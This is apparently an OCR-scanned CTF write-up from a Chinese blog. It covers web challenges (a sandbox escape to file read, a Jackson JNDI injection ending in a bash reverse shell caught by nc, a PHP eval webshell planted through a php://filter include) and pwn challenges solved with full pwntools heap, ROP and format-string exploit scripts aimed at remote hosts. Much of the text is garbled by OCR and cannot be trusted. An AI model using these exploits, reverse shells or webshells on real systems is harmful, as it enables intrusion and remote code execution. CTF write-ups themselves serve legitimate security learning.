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Crypto
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flag{GaqY7KtEtrVIX1Q50P5/EBRCYXEAySIT}

Web

1. zerocalc

el

readFile('./src/index.js"') = const express = require("express");
const path = require("path");
const fs = require("fs");
const notevil = require("./notevil"); // patched something...
const crypto = require("crypto");
const cookieSession = require("cookie-session");
const app = express();
app.use(express.urlencoded({
extended: true
1)
app.use(express.json());
app.use(cookieSession({
name: 'session’,
keys: [Math.random().toString(16)],
})); //flag in root directory but name is randomized
const utils = {
async md5(s) {
return new Promise((resolve, reject) = >{
resolve(crypto.createHash("md5").update(s).digest("hex"));
1
Ts
async readFile(n) {
return new Promise((resolve, reject) = >{
fs.readFile(n, (err, data) = >{
if (err) {
reject(err);
} else {
resolve(data);

1
1
s
}
const template = fs.readFileSync("./static/index.html").toString();

function render(s) {

matiimia Famialadkra mAanTacA/ U fLA-010N -~ SAsn/T AN


https://hetian.blog.csdn.net
https://so.csdn.net/so/search/s.do?q=callback&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=opencl&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=data+mining&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=streaming&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=vc&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/121045780

reLurttl Lemplidie.repldie {i{resjjy , >. JULlIl\ ))>
}
app.use("/", async(req, res) = >{
const e = req.body.e;
const his = req.session.his || [];
if (e) {
try {
const ret = (await notevil(e, utils)).toString();
his.unshift("$ {
e
F=9%{
ret
)
if (his.length > 10) {
his.pop();
}

} catch(error) {
console.log(error);
his.add("$ {

e
} = wrong ? 7);
}
req.session.his = his;
}
res.send(render(his));
1
app.use((err, res) = >{
console.log(err);
res.redirect('/");
1)
app.listen(process.env.PORT || 8888);

W5 B M E SRR EEE, Eilagifik

e

‘ readFile('./src/index js’) |

readFile("../../../flag") = flag{Hf4ulmUeLzShDRRfHdS4E8UhrlYbyMMG6}

2. Jack-Shiro

jackson 734k Tspring, x3shell

java -jar INDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaC

AtaSA+



Target environm

Target environment(Build

WARNING:
T-all. jar) t
WARNING: P1

JNDI Links
whose trustUR base is true):

e is false and have Tol

in \ e trustURLCodebase is true):

ss operati - curr
ss by util.R tions (file
.mi,registry
rting this to th
ass=warn to enable

FR Y MW 5 188884 1

MR J& postman & i i {&/;/json i B AT L &éid shiro

t 1.2.x+ in class

["ch.qgos.logback.core.db.INDIConnectionSource",{"jndiLocation":"rmi://vpn: port/ifzli2"}]

http:/123.60.26.60:32768/;/json

POST http://123.60.26.60:32768/;/json
Body @ t
none form-data x-www-form-urlencoded @ raw binary GraphQL Text
[“"ch.gos.logback.core.db.INDIConnectionSource"”,f" indiLocation”:"mi: //81.78.59.112:16
Body Test Re
Pretty JSOM 3
e 1
Tat 5

mAshell 7.

o] Save

Cookies

Save Response

mQ



root@mM-8-16-ubuntu:~# nc -nlvp 18888
Listening on 0.0.0.0 18888

Connection received on 123.60.26.60 45226
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4% 1s

Ls

BUILDING. txt

CONTRIBUTING.md

LICENSE

NOTICE

README .md

RELEASE-NOTES

RUNNING. txt

bin

conf

inc lude

lib

logs

native-jni-lib

temp

webapps

work

bash-4.4% cat /flag

3. new_hospital

dirsearchA# T, ®IRAG MRS H

200 7B http://123.60.75.243:32767/f1lag.php

200 6KB http://123.60.75.243:32767/footer.php

200  898B http://123.60.75.243:32767/header.php

200 30KB http://123.60.75.243:32767/index.php

200 30KB http://123.60.75.243:32767/index.php/login/

200 3KB http://123.60.75.243:32767/7s/
200  18KB http://123.60.75.243:32767/news.php
301 321B http://123.60.75.243:32767/0ld -> REDIRECTS TO: http://123.60.75.243:32767/01d/

200  28KB http://123.60.75.243:32767/0ld/
200  19KB http://123.60.75.243:32767/online.php

B8 M flag.phpi& HLRR
B—Mold fitt&Eu, AT —k, XA REEE £ Eflag.php



O & 123.60.75.243 7/flag.php

hacker?

R RANE, RE—MEERAREEEK
http://123.60.75.243:32767 ffeat. X Tr/EJLRH +

— C O O & 123.60.75.243:7 ature.php?id=2

i izht|l (FHiRE) -
B F 8:00-12:00 4 2:00-5:00

THE=ear:
i E KR =E PR 64 S = Ein 1842
(IS AR RS E)

FiEEEE:
TIIRSEEE: 0731-85222265 @ BEIRO e

W) Lk
BAMAABTHERNEYE

JLEEEh

<nowledge
Warning: file get contents(2.js): failed to open stream: No such file or directory in fvar/www/html/feature.php on line 468

EXidS %, KIViHARRBIISHRER.

BEFB/OIdZA Y, BHET, KAARBIASHREN, F—KitEE, EHdSH, getZINEREAE
i




R —FF 465 M & cookie & 2.js,

Request
Pretty n W Actions ~

GET fold/feature.ph 1 HTTP/1.1

Z Homt: 123.6€0.75.243

i Upgrade-Tnsecure-Requents: 1

4 User-Agent: Mozilla, 0 iwindows NT 10.0; wWinG4; x&d)
ApplelebFit/5 36 [FHTML, Llike Gecko) Chrome/94.0.4E06.81
Bafari/537.36

eeapt:
't

/hzal, application/xht:

e/ webp, inage/apng, *
¢ Accept-Encoding: gzip, deflate
Accept-Language: zh—CN,zhsq=0.9
Cookie: APT=HA : PHPSESST
Connection: close

AL EAMEN, #BiEZfile_get contents(2.js)

x=l, application/=el;q=0.9, image/avif, imag
q=0. 8, application/signed-exchange: v=b3;iq=0. %

E70583cfadInTof1130EffhI18e

Response

= 5Sithis).parencs (" . tabWazrp")
index = 5Sithis).index(]:

/ /D000

Sichis).parent (). find{"li") . removeclas

/0000
warp. Find ("t

on') .hide () ;

//DO0D00
Sichls) . addClass {"active’]:

// 000000
warp. £ind (" tal

ntent .con').eqlindex

ript>
<br />
<b>

Warning
</ >

8 ("aczive’);

b -showi);

file get_contents (2.8): failed to open stream: Mo such file

{var/www/ html/old/ feazure. php
</b>
on line <b>

<fhral>

@@ €« |—) Search...

Target: http://123.60.75.243:32767 @

INSPECTOR @ x
Selection ~
SELECTED TEXT
MiSqgowh3DA3D

DECODED FROM:  URL encoding [SR<]

HiSqow=

DECODED FROM:  Basetd e®

2.3s
Canged Apply changes
Cuuery Parameters (1) ~
Body Parameters (0) v
Request Cookies (2) v
Request Headers (8) W
Response Headers (7) ~

@@G—]l—) Soarch. 0 matches 0 matches

Done 19,028 bytes | 107 millis

%I B cookie ¥ B R 5E B 1 i P 2%

¥ rcookie Aflag.phpf H -

12 | 2% | -

m Cancel || [v] > v Target: http://123.60.75.243:32767 y@

Request Response = = inseecToR ® x

vretty [ W Actions v Raw Render \n Actions v Selection A
::;t'om-’p;;r_uo_::r:im: 1111111 HTTR/1.1 “E};—;E‘;l__;um] : P

p E::;ﬂi;;:“e::;ﬂf:???t;;:\dws NT 10.0; Wingd: xé4) EENSNSILL L SR Lba i rmaii s L ek (Euncs & LidvZmahZySwakAbid

AppleMebRic/537.36 (KHIML.
Safarl/537.36
Accept:

like Gacke)

text/htal, application/sxhtnlixml, applicationssnl;g=0.5, image/ -
application/signed-exch oo

avif, inage/webp, image/apng, */*:q=0.8,
ange:vebd;g=
Accept-Encoding: g=ip, deflate
Accept-Language: zh-CN,zhig=0.9

Cookie: APT=HidVImkREYSWAHANTE; EucsEssIDS
df9cE575583cEfab35976F11366fFfbI10e

9 Conmection: close

4. EasyfFilter

Chrome/54.0. 460€.01

php D P AT = YR I8\ ¥ 152 I AR A B AT

var waep = Sithis).parents(’.ta
index = S(this).index(}s

Harp' ),

/ /0000
S(this).parent {}.find ("Li"). removeClass {"ac
£ 000

warp. find (' .tabContent .con'), hide(

# /000000 DECODED FROM: Basotd w
S(this) . addClass("active’);
../£lag.php
# /000000
warp. find (. tabContent .con').eqiindex).sho :
Query Parameters (1)

DECODED FROM:  LIRL encoding

LidvamxhIySwatkh=

} Body Parameters (0)

</ se
<?php

irque=2)
echa "hacker?";
]

Request Cookies (2)

Request Headers (8)

Response Headers (7]

§€lag = "Flag(wISlwgBlyQIS9IEUSREvIVILTe DhquMa)” ;
™

<fbody>
1>

0e

ee

Apply changes



<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE_ );
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $ _GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r"){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");

Ephpinfo ] a0e57a3048

http://124.70.181.14:32768/?action=w&c=%3C?php%20phpinfo(); ?%3E

124.70.181.14:32768/?action=w X +

&« &0 O & 124.70.181.14:32768/?action=w&c=<?php phpinfo();?>

Jfiles/a0e57a3048

T diphpinfo, HXE./NE—E—BRFEREX A ZMHIREAS et K

http://124.70.181.14:32768/?action=r&r=php://filter/read=convert.base64-decode/resource=../../../../../../f



phpinfoy x

= C @

+

QO & 124.70.181.14:32768/?action=rétr=php://filter/read = convert. baseb4-decode/resource= ./ /././../. Miles/a0e5 ]

R

Warning: include(): Unable to create filter (a0e57a3048) in /var/www/html/index.php on line 16

5L 64ee041d34

System Linux b48bcc2950e3 4.15.0-136-generic #140-Ubuntu SMP Thu Jan 28 05:20:47 UTC 2021 xB6_64

Build Date Dec 11 2020 10:50:00

Configure Command x **--build=x86_64-linux-gnu’ ‘--with-config-file-path=fusr/local/etc/php’ *--with-config-file-
scan-dir=/usrflocalfetc/php/feonf.d’ *--enable-option-checking=fatal' *--with-mhash’ "--with-pic’ *--enable-
ftp' ‘—enable-mbstring' *--enable-mysgind’ *--with-password-argon2’ ‘-—-with-sodium=shared" --with-
pdo-salite=fust --with-sqlite3=/usr’ *--with-cur|* ‘--with-libedit' *-with-openssl* *--with-zlib* -with-
ibdir=lib/x86_64-inux-gnu’ --with-apxs2" *-disable-cgi' build_alias=xB6_64-linux-gnu’

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Husrflocal/etc/php

Loaded Configuration File (none)

Scan this dir for additional .ini files Juseflocal/etc/php/confd

Additional .ini files parsed Husr/local/etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20170718

PHP Extension 20170718

Zend Extension 32070718

Zend Extension Build APIZ20NTOT18NTS

PHP Extension Build API20170718NTS

Debug Build no

Thread Safety disabled

Zend Signal Handling enabled

Zend Memaory Manager enabled

Zend Multibyte Support provided by mbstring

IPv6 Support enabled

DTrace Support disabled

124.70.181.14:32768/?action=w: X +

« > C 0

ffiles/64ee041d34

70.181.14: ?action=w8c=<?php @eval($_ acker']); 7>
O & 124.70.181.14:32768/?acti &c=<?php @eval($ POST['hacker']): ?

5@ ®O0

http://124.70.181.14:32768/?action=r&r=php://filter/read=convert.base64-decode/resource=../../../../../../f

post¥ iz B AT

Warning: include(): unable to locate filter *resource=_" in fvar/www/html/index.php on line 16 ~ [ @ veckiar (O #8& [ =iz O wus s () roses O o D o

Warning: include(): Unable to create filter (resource=.) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter *." in /var/www/html/index.php on line 16
Warning: include(): Unable to create filter {.) in /var/www/html/index.php on line 16
Warning: include(): unable to locate filter *." in /var/www/html/index.php on line 16
Warning: include(): Unable to create filter () in /var/www/html/index.php on line 16
Warning: include(): unable to locate filter *." in /var/www/html/index.php on line 16
Warning: include(): Unable to create filter .) in /var/www/html/index.php on line 16
Warning: include(): unable to locate filter *.." in /var/www/html/index.php on line 16
Warning: include(): Unable to create filter (.) in /var/www/html/index.php on line 16
Warning: include(): unable to locate filter *.." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter {.) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter *files® in /var/www/html/index.php on line 16
Warning: include(): Unable to create filter (files) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "64ee041d34" in fvar/www/html/index.php on line

16

Warning: include(): Unable to create filter (64ee041d34) in fvar/www/html/index.php on line

16
flag{Cuw5RVISVBUJR1ACBgLBME3p2VZe7IRG}

a] - x
&8 Load URL hitpe/124.70.181. 1432768/ acti php: .basef4-decode
fresource=..J.1.J.J.J. Mies/Bdecdd 1034
X spin URL
A
(®) Exceute
@ Postdata [ Referer [0 User Agent ] Cookles Ak Header Clear All
hacker=system("cat Mag");
A

H  Upgrade-insecure-Requests: 1

H | Connection: keep-alive

H | Accept-Encoding: gzip, deflate

H  Accept-Language: zh-CN zh;q=0.8zh-TW;q=0.7 zh-HK,g=0.5 en-US;g=0.3 en;g=0.2

H | Accept: lext/htmi, application/xhtmi-+xmi, application/xmiq=0.9,image/avif image/webp,*/";q=0.8

H | Host: 124.70.181.14:32768



pwn

1. bitflip

libc2.27 off by one , 4 HIbitflipf Th&e 3 & A A 3|

#lusr/bin/env python
#-*- coding:utf8 -*-
from pwn import *

import sys

pc=

"./bitflip"

reomote_addr=["124.71.130.185",49155]

elf = ELF(pc)
libc = elf.libc

context.binary=pc

context.terminal=["gnome-terminal”,

if

if

ru
sn
rl
sl
rv
sa

sla

x','sh","-c']

len(sys.argv)==1:
context.log level="debug"
p=process(pc)
len(sys.argv)==2 :
if 'r' in sys.argv[1]:
p = remote(reomote_addr[@],reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log level="debug"

= lambda x : p.recvuntil(x,timeout=0.2)
= lambda x : p.send(x)

= lambda . p.recvline()

= lambda x : p.sendline(x)

= lambda x : p.recv(x)

= lambda a,b : p.sendafter(a,b)

= lambda a,b : p.sendlineafter(a,b)

itr= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].1just(8,"'\x00"'))

rvé

1g
bp
og

what_choice="Your choice:
ch_
ch_
ch_
ch_
what_size="Size:

= lambda : u64(rv(6)+'\x00'*2)
lambda s: log.info('\033[1;31;40m %s --> Ox%x \@33[@m' % (s, eval(s)))
lambda src=None : attach(p,src)

add="1"

dele="4"
edit="2"
show="3"

lambda libcpwd : map(int, subprocess.check_output(['one_gadget', '--raw', libcpwd]).split("’

)



what_c="Content:

what_idx="Index: "

def add(idx,size):
ru(what_choice)
sl(ch_add)
ru(what_idx)
sl(str(idx))
ru(what_size)
sl(str(size))

def dele(idx):
ru(what_choice)
sl(ch_dele)
ru(what_idx)
sl(str(idx))

def edit(idx,c):
ru(what_choice)
sl(ch_edit)
ru(what_idx)
sl(str(idx))
ru(what_c)
sl(c) ##

def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))
ru(what_c)

add(e,8)
add(1,8)

dele(0)
dele(1)

add(0,0x18)

show(9)

heap_addr = rv6() -0x260
lg('heap_addr')

add(2,0x30)
add(3,0x48)
edit(@, 'a'*Ox18+'\x91")

add(4,0x30)
add(5,0x48)
edit(3,'a"'*Ox48+'\x91")



add(6,0x30)
add(7,0x48)
edit(5,'a'*ox48+'\x91")

add(8,0x30)
add(9,0x48)
edit(7, 'a'*@x48+'\x91")

add(10,0x30)
add(11,0x48)
edit(9, 'a'*0x48+'\x91")

add(12,0x30)
add(13,0x48)
edit(11, 'a'*0Ox48+'\x91")

add(14,0x30)
add(15,0x48)
edit(13,'a’'*@x48+'\x91")

add(16,0x30)
add(17,0x48)
edit(15, 'a'*0x48+'\x91")

add(18,0x30)

for i in range(8):
dele(2*(i+1))

add(19,0x50)

show(19)

libc_base = ru7f() - 0x3ebd20
lg('libc_base")

free_hook = libc_base + libc.sym['__free_hook"']
sys_addr = libc_base + libc.sym['system']

dele(15)
dele(17)
edit(19, 'a'*0Ox38+p64(0x51)+p64(free_hook))

add(20,0x40)
add(21,0x40)

edit(20, '/bin/sh\xee')
edit(21, p64(sys_addr))
dele(20)

src="""



# x/10xg $rebase()
# b *$rebase(0xd43)
bin

heap

# bp(src)

itr()

2. old_school

libc2.27 off by one

# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *

context.log level='debug'
context.arch="amd64"'
context.os = "linux"

local = ©
if local:
r = process('./old_school")
else:
r = remote("121.36.194.21", 49153)

sa = lambda s,n : r.sendafter(s,n)

sla = lambda s,n : r.sendlineafter(s,n)

sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)

ti = lambda: r.interactive()

libc = ELF("./libc-2.27.s0")

def debug():
gdb.attach(r)
pause()

def 1lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def add(index, size):
sla("Your choice: ", "1")
sla("Index: ", str(index))

sla("Size: ", str(size))



def edit(index, content):
sla("Your choice: ", "2")
sla("Index: ", str(index))

sa("Content: ", content)

def show(index):
sla("Your choice: ", "3")
sla("Index: ", str(index))

def delete(index):
sla("Your choice: ", "4")
sla("Index: ", str(index))

for i in range(7):
add(i, oxf8)
#0-6

add(7, ox88) #7

add(8, oxe8) #8

add(9, oxf8) #9

add(10, ox10) #10

edit(10, "/bin/sh\xee" + '\n')

for i in range(7):
delete(i)

for i in range(7):
add(i, ox88)

for i in range(7):
delete(i)

delete(7)
edit(8, "a" * Oxe@ + p64(0x180) + '\x00')
delete(9)

for i in range(7):
add(i, ox88)



add(7, ox88) #7

show(8)

malloc_hook = (u64(r.recvuntil('\x7f"')[-6:].1just(8, "\x0@0")) & OXFFFFFFFFFFFFFOO0) + (libc.sym[' malloc_h
libc_base = malloc_hook - libc.sym['_malloc_hook"]

free_hook = libc_base + libc.sym["_ free_hook"]

system_addr = libc_base + libc.sym["system"]

1g("libc_base", libc_base)

add(11, Oxed) #11
delete(11)
edit(8, p64(free_hook) + '\n')

#debug()
add(12, Oxed) #12
add(13, Oxed) #13

edit (13, p64(system_addr) + '\n')
delete(10)

r.interactive()

3. random_heap
libc2.27 uaf
HEBEHLER T, B RBRu.
55 A i ) R T

# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *

#context.log_level='debug'
context.arch="amd64'

context.os = "linux"

#context.terminal = ["tmux", "splitw", "-h"]

local = ©
if local:
r = process('./random_heap")
else:
r = remote("124.71.140.198", 49153)

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)



sd = lambda s : r.send(s)

rc = lambda n : r.recv(n)

ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()

libc = ELF("./libc-2.27.s0")
libcc = cdll.LoadLibrary("/1ib/x86_64-1inux-gnu/libc.so.6")

def debug():
gdb.attach(r)
pause()

def 1lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def add(index, size):
sla("Your choice: ", "1")
sla("Index: ", str(index))

sla("Size: ", str(size))

def edit(index, content):
sla("Your choice: ", "2")
sla("Index: ", str(index))
sla("Content: ", content)

def show(index):
sla("Your choice: ", "3")
sla("Index: ", str(index))

def delete(index):
sla("Your choice: ", "4")
sla("Index: ", str(index))

vO = libcc.time(0)
libcc.srand(vo)

for i in range(64):
add(i, 0x80)
a = libcc.rand()

for i in range(64):
delete(i)



for i in range(64):
show(i)
s = ru("\n")
if len(s) > 15 and s[14] == "\x7f':
break

malloc_hook = (u64(s[9:15].1just(8, "\x00")) & OXFFFFFFFFFFFFFRO0) + (libc.sym['_malloc_hook'] & OxXFFF)
libc_base = malloc_hook - libc.sym['_malloc_hook"']

free_hook = libc_base + libc.sym["__free_hook"]

system_addr = libc_base + libc.sym["system"]

1g("1libc_base", libc_base)

for i in range(64):
edit(i, p64(free_hook))

for i in range(63):
add(i, ox890)
edit(i, '/bin/sh\xee')
a = libcc.rand() & oxf
print int(a)

if ss[int(a)] == 'b":
edit(i, p64(system_addr))
break

ss[int(a)] = "b"

print ss
delete(9)

sl("cat flag")

r.interactive()

4. sonic

Beui, A, BHEEP AR, Eiklogin_pathJyusr/bin/cliffy it B A7

IB@8E4 aBinLogin db */bin/login’',®
IB@8EF ; const char format[]

IBOSEF format db 'login noAuthLogin®
IB8EF

180901 aUsrBinCli db '/usr/bin/cli',®
IB898E unk_9©E db e

Exp:

#lusr/bin/env python



#-*- coding:utf8 -*-
from pwn import *

import sys

pc=

"./sonic"

reomote_addr=["123.60.63.90",6890]

elf = ELF(pc)
libc = elf.libc

context.binary=pc

context.terminal=["gnome-terminal”,

if

if

ru
sn
rl
sl
rv
sa

sla

-x","'sh',"-c']

len(sys.argv)==1:
context.log level="debug"
p=process(pc)
len(sys.argv)==2 :
if 'r' in sys.argv[1]:
p = remote(reomote_addr[@],reomote_addr[1])

if 'n' not in sys.argv[1]:
context.log_level="debug"

= lambda x : p.recvuntil(x,timeout=0.2)
= lambda x : p.send(x)

= lambda : p.recvline()

= lambda x : p.sendline(x)

= lambda x : p.recv(x)

lambda a,b : p.sendafter(a,b)
= lambda a,b : p.sendlineafter(a,b)

itr= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].1just(8, " '\x00"))

rveé

1g
bp
og

= lambda : u64(rv(6)+'\x00'*2)
lambda s: log.info('\©33[1;31;40m %s --> Ox%x \@33[0m' % (s, eval(s)))
lambda src=None : attach(p,src)

ru("main Address=0x")

pie = int(rv(12),16) -Ox7cf
1g('pie’)
src="""

# x/10xg $rebase()
b *$rebase(0x7fb)

C

# bp(src)

lambda libcpwd : map(int, subprocess.check_output(['one_gadget', '--raw', libcpwd]).split(’

)



main = pie+@x7cf
login_path = pie+0x201010
username = pie + 0x201040
ru("login:")

p_rdi = pie+0x8c3
p_rsi rl5 = pie + 0x8cl
printf = pie + 0x5f0
execve = pie + 0x610
gets = pie+0x600
pay = flat([
'\Xx00' *0x28,
p_rdi,
login_path,
gets,
main,

D

sl(pay)

sleep(0.1)
s1(p64(pie+0x901))
ru("login:")
s1(p64(@))

itr()

0x00000000000008c3 : pop rdi ; ret
0x00000000000008c1 : pop rsi ; pop ril5 ; ret

5. old_school_revenge

2.27 off by null

# -*- coding: utf-8 -*-
from pwn import*
from ctypes import *

context.log level='debug'
context.arch="amd64'

context.os = "linux"

#context.terminal = ["tmux", "splitw", "-h"]

local = o
if local:
r = process('./old school revenge')



else:
r = remote("123.60.63.39",49153)

sa = lambda s,n : r.sendafter(s,n)

sla = lambda s,n : r.sendlineafter(s,n)

sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)

ti = lambda: r.interactive()

libc = ELF("./libc-2.27.s0")

def debug():
gdb.attach(r)
pause()

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def add(index, size):
sla("Your choice: ", "1")
sla("Index: ", str(index))

sla("Size: ", str(size))

def edit(index, content):
sla("Your choice: ", "2")
sla("Index: ", str(index))
sla("Content: ", content)

def show(index):
sla("Your choice: ", "3")
sla("Index: ", str(index))

def delete(index):
sla("Your choice: ", "4")
sla("Index: ", str(index))

for i in range(7):
add(i, oxf8)
#0-6



add(7, ox88) #7

add(8, oxe8) #8

add(9, oxf8) #9

add(10, ox10) #10

edit(10, "/bin/sh\xee" + '\n')

for i in range(7):
delete(i)

for i in range(7):
add(i, ox88)

for i in range(7):
delete(i)

delete(7)
edit(8, "a" * Oxe@ + p64(0x180))
delete(9)

for i in range(7):
add(i, ox88)

add(7, ox88) #7

show(8)

malloc_hook = (u64(r.recvuntil('\x7f')[-6:].1just(8, "\x@0")) & OXFFFFFFFFFFFFFOO0) + (libc.sym[' malloc_h
libc_base = malloc_hook - libc.sym['_malloc_hook"]

free_hook = libc_base + libc.sym["_ free_hook"]

system_addr = libc_base + libc.sym["system"]

1g("libc_base", libc_base)

add(11, oxe@) #11
delete(11)
edit(8, p64(free_hook) + '\n')

#debug()
add(12, Oxed) #12
add(13, Oxed) #13

edit (13, p64(system_addr) + '\n')
#debug()
delete(10)

r.interactive()



6. oldecho

AR AT BERE, BRFHFBEEbssBR b, FEBEIRERTEMUT, HWEE R
close(1)Z G, TEEHE M, 7 LUEIMNER Plkstdoutifilenoy2, € In) Fstderr;

ixX B SRR [ Mk 2SO main R B B i, (AR ARG

B :

B JaE:

BE40 main proc near
BE4e ; _ unwind {
BE40 push rbp

BUGEIR AN TRFENOME, TREMIES ret, 32 startek HH & bk

JA9@ start proc near

3A90 ; _ unwind {

3A90 xor ebp, ebp
3492 mov r9. rdx

R L& B T — stdoutti 4



stack 30
rbp rsp

Fhhedytts

- |
—_
—_
—_
- |
—_
—_
-
-
gy
-«
—_
-«
-«
—_
- |

) -

, ebp
< 0x24353100702
<+ push ris

<+ mov
+ Ox0
7ffez 3 —» Fe 8 —»
0xTc684040536Fb360
«+— push

Ox0
0xb99ca783c92aa95b

Oxecb30481fccaad9sh
Oxedb9f9d71bdaag9sh
ax7f7beeeeoene

i ) 4— Bx0

< 0xfbad28a7
rd ptr [rbp - 8], Tra

G Estdoutifilenodf a2, AT LAIEFE i, WS FEdmbkflibetit, 2 j57Ebss EfiBorw, #FerbpAja
¥RIE# Blbss kAT BRI AT i flag.

HRHIERENL, ERBULIK

#lusr/bin/env python
#-*- coding:utf8 -*-
from pwn import *

import sys

pc="./oldecho"

reomote_addr=["123.60.32.152",49155]

elf = ELF(pc)
libc = elf.libc

context.binary=pc

context.terminal=["gnome-terminal”,'-x","'sh',"'-c"']

if len(sys.argv)==1:

context.log level="debug"

p=process(pc)

if len(sys.argv)==2 :

if

if

r' in sys.argv[1]:

p = remote(reomote_addr[@],reomote_addr[1])

n' not in sys.argv[1]:
context.log_level="debug"



ru = lambda x
sn = lambda x :
rl = lambda
sl = lambda x :
rv = lambda x :
lambda a,b : p.sendafter(a,b)
sla = lambda a,b :

sa

.send(x)
.recvline()
.sendline(x)

T T ©T T T

.recv(x)

itr= lambda :p.interactive()

ru7f = lambda :
rve = lambda :

1g
bp
og

def edit(offset,value):

s1('%{}c%{}$hhn'.format(value,offset))

sleep(3)

ru("Gift: ox")
stack_addr = int(rv(12),16)

spc='""

b *$rebase(0xdbd)

C

po,pl,p2 = 6,10,13

pl_addr
p2_addr
ret_addr

edit(peo,
edit(p1,

edit(peo,
edit(p1,
edit(peo,
edit(p1,
edit(peo,
edit(p1,
edit(peo,
edit(p1,
edit(peo,
edit(p1,

edit(peo,

stack_addr+0x8
stack_addr+0x20

= stack_addr - 0x10

u8(p64(p2_addr)[0]) )
u8(p64(ret_addr)[0]) )

u8(p64(p2_addr)[0])+1
u8(p64(ret_addr)[1]))
u8(p64(p2_addr)[0])+2
u8(p64(ret_addr)[2]))
u8(p64(p2_addr)[0])+3
u8(p64(ret_addr)[3]))

u8(p64(p2_addr)[0])+4 )

u8(p64(ret_addr)[4]))
u8(p64(p2_addr)[0])+5
u8(p64(ret_addr)[5]))

u8(p64(p2_addr)[0]) ) #restore

.recvuntil(x,timeout=0.2)

p.sendlineafter(a,b)

ued(ru('\x7f')[-6:1.1just(8,"'\x00"'))

u64(rv(6)+'\x00"'*2)

lambda s: log.info('\©33[1;31;40m %s --> Ox%x \@33[0Om' % (s, eval(s)))
lambda src=None :
lambda libcpwd

attach(p,src)
: map(int, subprocess.check_output(['one_gadget’,

'--raw', libcpwd]).split("’

)



# bp(src)
edit(p2, 0x40) #0x40

po+=4
pl+=2
p2+=2
new_ret = stack_addr-0x38

edit(pl, u8(p64(new_ret)[0]))

edit(po, u8(p64(p2_addr)[0])+1)
edit(pl, u8(p64(new_ret)[1]))
edit(po, u8(p64(p2_addr)[0])) #restore

# bp(src)
edit(p2, ox3f) # E3F retn

stdout_addr = stack_addr -0x80
p2_addr = stack_addr -0x10
po=15

p1=41

p2=43

p_stdout = 29

edit(pl, u8(p64(stdout_addr)[0]))

edit(po, u8(p64(p2_addr)[0])+1)
edit(pl, u8(p64(stdout_addr)[1]))
edit(p@, u8(p64(p2_addr)[0])) #restore

edit(p2, 0x90)
edit(p_stdout, ox2)

# bp(src)
s1('%9%p%29%p")

ru('ex")

pie = int(rv(12),16)-0x202040

libc_base = int(rv(14),16) - ©x3c5690

0x0000000000021112 : pop rdi ; ret

0x000000000202f8 : pop rsi ; ret

0x00000000001436b1 : pop rax ; pop rdx ; pop rbx ; ret
0x00000000PObCc3f5: syscall; ret;

H OH OH ¥ OH

fmt_addr = pie + 0x202040
p_rdi = libc_base +0x0000000000021112



p_rsi = 1libc_base +0x00000000000202f8
p_rax_rdx_rbx = 1libc_base +0x00000000001436b1l
syscall = 1libc_base +0x00000000000bc3f5

ret = p_rdi+l #rdi+@xal=rop_base,+0xa8=ret

flag_str_addr = pie + 0x202020
orw_base = fmt_addr + 0x10
rop_base=fmt_addr +0x20 #F®&Erop_base
flag_addr=orw_base
ORW=Fflat ([
'./flag'.1ljust(0x10, '\xe0"),
p_rdi,flag_addr,
p_rsi,4,
p_rax_rdx_rbx,2,4,0,
syscall,
p_rdi,1,
p_rsi,flag str_addr,
p_rax_rdx_rbx,0,0x50,0,
syscall,
p_rdi,2,
p_rsi,flag str_addr,
p_rax_rdx_rbx,1,0x40,0,
syscall
1)

rop_base_addr = stack_addr -0x138
rop_base -= 8
edit(pl, u8(p64(rop_base_addr)[0]))

edit(po, u8(p64(p2_addr)[0])+1)
edit(pl, u8(p64(rop_base_addr)[1]))
edit(p@, u8(p64(p2_addr)[0])) #restore

# bp(src)
edit(p2, u8(p64(rop_base)[0]))

edit(pl, u8(p64(rop_base_addr)[0])+1)
edit(p2, u8(p64(rop_base)[1]))

edit(pl, u8(p64(rop_base_addr)[0])+2)
edit(p2, u8(p64(rop_base)[2]))
edit(pl, u8(p64(rop_base_addr)[0])+3)
edit(p2, u8(p64(rop_base)[3]))
edit(pl, u8(p64(rop_base_addr)[0])+4)
edit(p2, u8(p64(rop_base)[4]))
edit(pl, u8(p64(rop_base_addr)[0])+5)
# bp(src)

